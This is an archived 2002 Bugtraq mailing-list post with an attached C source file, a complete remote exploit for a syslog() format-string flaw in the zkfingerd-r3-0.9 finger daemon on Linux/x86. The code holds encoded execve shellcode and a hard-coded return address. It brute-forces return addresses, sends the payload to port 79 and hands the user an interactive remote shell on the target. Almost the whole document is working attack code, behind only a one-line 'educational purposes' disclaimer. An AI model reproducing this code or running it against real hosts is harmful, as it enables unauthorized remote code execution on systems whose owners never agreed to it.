87253 2002-12-23 20:51 /6 rader/ security <security@marcetam.net> Importerad: 2002-12-23 20:51 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <2865> Ärende: zkfingerd remote exploit ------------------------------------------------------------ zkfingerd remote exploit, for syslog() format string mistake. marcetam (87253) /security <security@marcetam.net>/---------- Bilaga (text/plain) i text 87254 87254 2002-12-23 20:51 /310 rader/ security <security@marcetam.net> Bilagans filnamn: "johnx.c" Importerad: 2002-12-23 20:51 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <2866> Bilaga (text/plain) till text 87253 Ärende: Bilaga (johnx.c) till: zkfingerd remote exploit ------------------------------------------------------------ /* * * remote exploit for zkfingerd-r3-0.9 linux/x86 * gives uid of user who is running zkfingerd (default: nobody) * by Marceta Milos * root@marcetam.net * * use this for educational propouses only! * * For local attack, response based method could be used, but for * remote we can use blind brute force method. * * greets to scut, DeadMaker, stinger, harada and all others. * */ #include<stdio.h> #include<string.h> #include<stdlib.h> #include<unistd.h> #include<sys/socket.h> #include<arpa/inet.h> #include<netdb.h> #define Kb 1024 #define PORT 79 #define green "\x1B[1;32m" #define def "\x1B[0;37m" #define wh "\x1B[1;37m" #define SHOFF 576 #define RETLOC 0xbffff970 /* Slackware 8.0 */ #define FMT "\x25\x25\x2e\x25\x64\x75\x25\x25\x68\x6e" #define DIG8 "\x25\x2e\x66" #define NOP "\x90" char linux_x86_wrx[]= "\x6a\x01" /* push $0x1 */ "\x5b" /* pop %ebx */ "\xb8\x0b\x6e\x4e\x0b" /* mov $0x0b4e6e0b,%eax */ "\x2d\x01\x01\x01\x01" /* sub $0x01010101,%eax */ "\x50" /* push %eax */ "\x89\xe1" /* mov %esp,%ecx */ "\x6a\x04" /* push $0x4 */ "\x58" /* pop %eax */ "\x89\xc2" /* mov %eax,%edx */ "\xcd\x80" /* int $0x80 */ "\xeb\x0c" /* jmp 12 */ "\x4b" /* dec %ebx */ "\xf7\xe3" /* mul %ebx */ "\xfe\xca" /* dec %dl */ "\x59" /* pop %ecx */ "\xb0\x03" /* movb $0x3,%al */ "\xcd\x80" /* int $0x80 */ "\xeb\x05" /* jmp $0x05 */ "\xe8\xef\xff\xff\xff"; /* call -17 */ char linux_x86_execve[]= "\x6a\x0b" /* push $0x0b */ "\x58" /* pop %eax */ "\x99" /* cdq */ "\x52" /* push %edx */ "\x68\x6e\x2f\x73\x68" /* push $0x68732f6e */ "\x68\x2f\x2f\x62\x69" /* push $0x69622f2f */ "\x89\xe3" /* mov %esp,%ebx */ "\x52" /* push %edx */ "\x53" /* push %ebx */ "\x89\xe1" /* mov %esp,%ecx */ "\xcd\x80"; /* int $0x80 */ struct wr_addr { int low; int high; } addr; int host_connect(char *, unsigned short int); unsigned long int resolve(char *); void usage(char *); void exploit(char *, unsigned short int, unsigned long int); void shell(int); struct wr_addr convert_addr(unsigned long); char sendbuf[Kb]; char recvbuf[Kb]; char *target = "127.0.0.1"; unsigned short int port = PORT; unsigned long retloc = RETLOC; unsigned short int brute= 0; int main(int argc, char **argv, char **env) { char c; printf(wh"\n remote nobody exploit for zkfingerd-r3-0.9 by marcetam."def"\n\n"); if (argc<2) usage(argv[0]); while ((c = getopt(argc, argv, "h:p:b:")) != EOF) { switch (c) { case 'h': target = optarg; break; case 'p': port = (short)atoi(optarg); break; case 'b': retloc = strtoul(optarg, &optarg,16); brute = 1; break; default: usage(argv[0]); break; } } printf(" target is : \n\n"); printf(" host : "wh"%s"def"\n",target); printf(" port : "wh"%hu"def"\n",port); printf(" ret : "wh"%#lx"def"\n\n",retloc); printf(" attacking ... "); if (brute != 0) { while(1) { printf("trying ret : %#lx\n", retloc); sleep(1); exploit(target, port, retloc); retloc -= 1; }; } else exploit(target, port, retloc); return(0); } void usage(char *name){ fprintf(stderr, " usage: %s -h <hostname> -p <port> -b <addr>\n\n",name); fprintf(stderr, " -h host\t target hostname (default 127.0.0.1)\n" " -p port\t port number (default 79)\n" " -b addr\t brute force retloc starting from addr\n" "\t\t WARNING : this will flood logfile\n\n"); exit(EXIT_FAILURE); } void exploit(char *hostname, unsigned short int port, unsigned long int retaddr){ unsigned long *ptr; char ret[4], *chr; int i, fd; bzero(sendbuf, Kb); bzero(recvbuf, Kb); bzero(ret, 4); fd = host_connect(hostname, port); ptr = (long *)ret; *(ptr) = retaddr; ret[sizeof(ret)] = '\0'; for(i = 0;i < 3;i++) strcat(sendbuf,ret); ret[0] += 2; strcat(sendbuf, ret); for(i = 0;i < 40; i++) strcat(sendbuf, DIG8); addr = convert_addr(retaddr + SHOFF); sprintf(sendbuf + strlen(sendbuf), FMT, addr.low); sprintf(sendbuf + strlen(sendbuf), FMT, addr.high); chr = sendbuf + strlen(sendbuf); for(i = 0;i < 128;i++) strcat(sendbuf, NOP); strcat(sendbuf, linux_x86_wrx); write(fd, sendbuf, Kb); read(fd, recvbuf, Kb); if (strcmp(recvbuf, "\nmM\n") == 0) { printf(green"YEAH!\n"def); sleep(1); printf(" sending shellcode. \n"); write(fd, linux_x86_execve, sizeof(linux_x86_execve)); printf(" starting shell #\n"def); write(fd,"\n", 1); write(fd,"uname -a;id\n", 12); shell(fd); } else printf(wh" failed.\n\n"def); } struct wr_addr convert_addr(unsigned long addr) { struct wr_addr target; target.low = (addr & 0x0000ffff); target.high = (addr & 0xffff0000) >> 16; if (target.high > target.low) target.high -= target.low; else { target.high += 0x10000; target.high -= target.low; } target.low -= 0x58; return(target); } unsigned long int resolve(char *hostname) { struct hostent *host; long r; r = inet_addr(hostname); if (r == -1) { host = gethostbyname(hostname); if (host == NULL) { return(0); } else { return(*(unsigned long *)host->h_addr); } } return(r); } int host_connect(char *hostname, unsigned short int port) { struct sockaddr_in sa; int fd; sa.sin_family = AF_INET; sa.sin_port = htons(port); fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) return(fd); if (!(sa.sin_addr.s_addr = resolve(hostname))) { close(fd); return(-1); } if (connect(fd, (struct sockaddr *)&sa, sizeof(struct sockaddr_in)) < 0) { perror("connect"); close(fd); return(-1); } return(fd); } void shell(int fd) { char buf[512]; int l; fd_set fds; while (1) { FD_SET(0, &fds); FD_SET(fd, &fds); select(fd + 1, &fds, NULL, NULL, NULL); if (FD_ISSET(0, &fds)) { l = read(0, buf, sizeof (buf)); if (l <= 0) { perror("read user"); exit(EXIT_FAILURE); } write(fd, buf, l); } if (FD_ISSET(fd, &fds)) { l = read(fd, buf, sizeof (buf)); if (l == 0) { printf("connection closed by foreign host.\n"); exit(EXIT_FAILURE); } else if (l < 0) { perror("read remote"); exit(EXIT_FAILURE); } write(1, buf, l); } } } /* www.marcetam.net */ (87254) /security <security@marcetam.net>/(Ombruten)